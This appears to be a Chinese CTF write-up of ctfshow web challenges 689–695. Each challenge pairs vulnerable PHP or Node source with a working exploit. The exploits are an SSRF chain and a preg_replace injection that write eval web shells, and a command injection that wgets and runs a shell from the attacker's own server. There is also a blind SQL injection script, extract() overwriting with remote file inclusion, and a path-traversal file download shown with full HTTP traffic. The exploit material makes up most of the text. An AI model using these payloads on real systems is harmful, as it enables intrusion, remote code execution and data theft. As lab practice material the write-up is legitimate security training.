web689
php
<?php
error_reporting(0);
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = "upload/".$_GET['path'];
}else{
show_source(__FILE__);
exit();
}
if(strpos($path,'..') > -1){ //检查 $path 是否包含 ..,以防止路径注入攻击。
die('This is a waf!');
}
if(strpos($url,'http://127.0.0.1/') === 0){ //检查 $url 是否以 'http://127.0.0.1/' 开头。
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.CTFshow";
}
这里可以写入文件
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=b.php
这里可以看成两部分
?file=http://127.0.0.1/ 到达本地
?file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=b.php将phpinfo写入b.php
这里的%26
是&
但是如果直接写的话不能正确的绕过,必须写url形式
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?=eval($_POST[1]);?>&path=b.php
写马方便
web690
php
<?php
highlight_file(__FILE__);
error_reporting(0);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit("sorry");
}
exec('./ ' . implode(" ", $args)); 假设数组结构是args[0]=ping,args[1]=ip,
那么可以执行ping ip的命令
用python3起一个web服务,nginx和Apache不行
记得关了其他服务再开
index.html
第一次写成get了,浪费了一些时间
php
<?php
file_put_contents("shell.php",'<?=eval($_POST[1]);?>');
?>
python3 -m http.server 80
args[]=1%0a&args[]=mkdir&args[]=a%0a&args[]=cd&args[]=a%0a&args[]=wget&args[]=十进制IP绕过
args[]=1%0a&args[]=tar&args[]=cvf&args[]=shell&args[]=a
args[]=1%0a&args[]=php&args[]=shell
开了好几次靶机终于成功了
流程是这样子
./ 1 主要是为了把./给处理了
mkdir a 创建目录a
cd a
wget xxxxx 下载文件
tar cvf shell a 打包a为shell
php shell
本地尝试成功也就是说shell此时在网页里面而环境中会自然执行文件,shell.php就被写入
web691
php
<?php
include('inc.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($str){
$filterlist = "/\(|\)|username|password|where|
case|when|like|regexp|into|limit|=|for|;/";
if(preg_match($filterlist,strtolower($str))){
die("illegal input!");
}
return $str;
}
$username = isset($_POST['username'])?
filter($_POST['username']):die("please input username!");
$password = isset($_POST['password'])?
filter($_POST['password']):die("please input password!");
$sql = "select * from admin where username =
'$username' and password = '$password' ";
$res = $conn -> query($sql);
if($res->num_rows>0){
$row = $res -> fetch_assoc();
if($row['id']){
echo $row['username'];
}
}else{
echo "The content in the password column is the flag!";
}
?>
sql注入
order by盲注
python
import requests
url="http://6dfbcb64-39aa-4917-828d-b92dd480c6e2.challenge.ctf.show/"
flag=""
string=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for i in range(1,50):
# print(i)
for j in string:
data={
'username':"'or 1 union select 1,2,'{0}' order by 3#".format(flag+j),
'password':'1'
}
r=requests.post(url=url,data=data)
if '</code>admin' in r.text:
flag+=chr(ord(j)-1)
print("\r"+flag,end="")
break
字符串集得设置好不然就不行,还有这个响应必须放上</code>
不然也是不行的
web692
php
<?php
highlight_file(__FILE__);
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);
写马
这里涉及替换函数的特性
preg_replace中的第二个参数如果是%00也就是ascii中的0,那么将会匹配到整个字符串。
由于是匹配的任意字符所以我们写什么都行
$option=';phpinfo();//'
返回值
$option='$option=';phpinfo();//''
再来个%00那么就会再上一层
$option='$option=';phpinfo();//''
誒,这样子不就跑出来了嘛
?option=;phpinfo();//
?option=%00
?option=;eval($_POST[1]);//
?option=%00
web693
php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('open_basedir', '/var/www/html');
$file = 'function.php';
$func = isset($_GET['function'])?$_GET['function']:'filters';
call_user_func($func,$_GET);
include($file);
session_start();
$_SESSION['name'] = $_POST['name'];
if($_SESSION['name']=='admin'){
header('location:admin.php');
}
?>
这里有个回调函数和文件包含,那么直接覆盖就行了
?function=extract&file=php://filter/read=convert.base64-encode/resource=flag.php
失败了这里
?function=extract&file=http://baidu.com
那么远程包含一个马即可
web694
php
<?php
error_reporting(0);
$action=$_GET['action'];
$file = substr($_GET['file'],0,3);
$ip = array_shift(explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']));
//$_SERVER['HTTP_X_FORWARDED_FOR'] 中提取第一个 IP 地址,并将其赋值给 $ip。
$content = $_POST['content'];
$path = __DIR__.DIRECTORY_SEPARATOR.$ip.DIRECTORY_SEPARATOR.$file;
__DIR__为当前目录
/var/www/html/a.php/.
if($action=='ctfshow'){
file_put_contents($path,$content);
}else{
highlight_file(__FILE__);
}
?>
web695
js
router.post('/uploadfile', async (ctx, next) => {
const file = ctx.request.body.files.file;
参数为{"files":{"file":{xxx}}}
if (!fs.existsSync(file.path)) {
return ctx.body = "Error";
}
if(file.path.toString().search("/dev/fd") != -1){
file.path="/dev/null"
}
const reader = fs.createReadStream(file.path);
let fileId = crypto.createHash('md5').update(file.name + Date.now() + SECRET).digest("hex");
let filePath = path.join(__dirname, 'upload/') + fileId
const upStream = fs.createWriteStream(filePath);
reader.pipe(upStream)
return ctx.body = "Upload success ~, your fileId is here:" + fileId;
});
router.get('/downloadfile/:fileId', async (ctx, next) => {
let fileId = ctx.params.fileId;
ctx.attachment(fileId);
try {
await send(ctx, fileId, { root: __dirname + '/upload' });
}catch(e){
return ctx.body = "no_such_file_~"
}
});
{"files":{"file":{"name":"baozongwi","path":"flag"}}}
然后访问downloadfile/32位的md5id下载即可
但是我的情况是500了
后面终于知道了情况是个什么情况,因为我并没有修改content-type
那么给大家看看数据包吧
Request:
POST /uploadfile HTTP/1.1
Host: 4de9c3b3-2e68-4a62-b232-4406eeb78745.challenge.ctf.show
Cache-Control: max-age=0
Sec-Ch-Ua: "Not/A)Brand";v="8", "Chromium";v="126", "Google Chrome";v="126"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://4de9c3b3-2e68-4a62-b232-4406eeb78745.challenge.ctf.show/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Priority: u=0, i
Connection: close
Content-Type: application/json
Content-Length: 53
{"files":{"file":{"name":"baozongwi","path":"flag"}}}
Response:
HTTP/1.1 200 OK
Server: nginx/1.20.1
Date: Wed, 31 Jul 2024 23:22:41 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 72
Connection: close
Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: Content-Type,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-Length,Connection
Access-Control-Max-Age: 1728000
Upload success ~, your fileId is here:30cfc14059342fff1c63fad46f3579bf
下载一下即可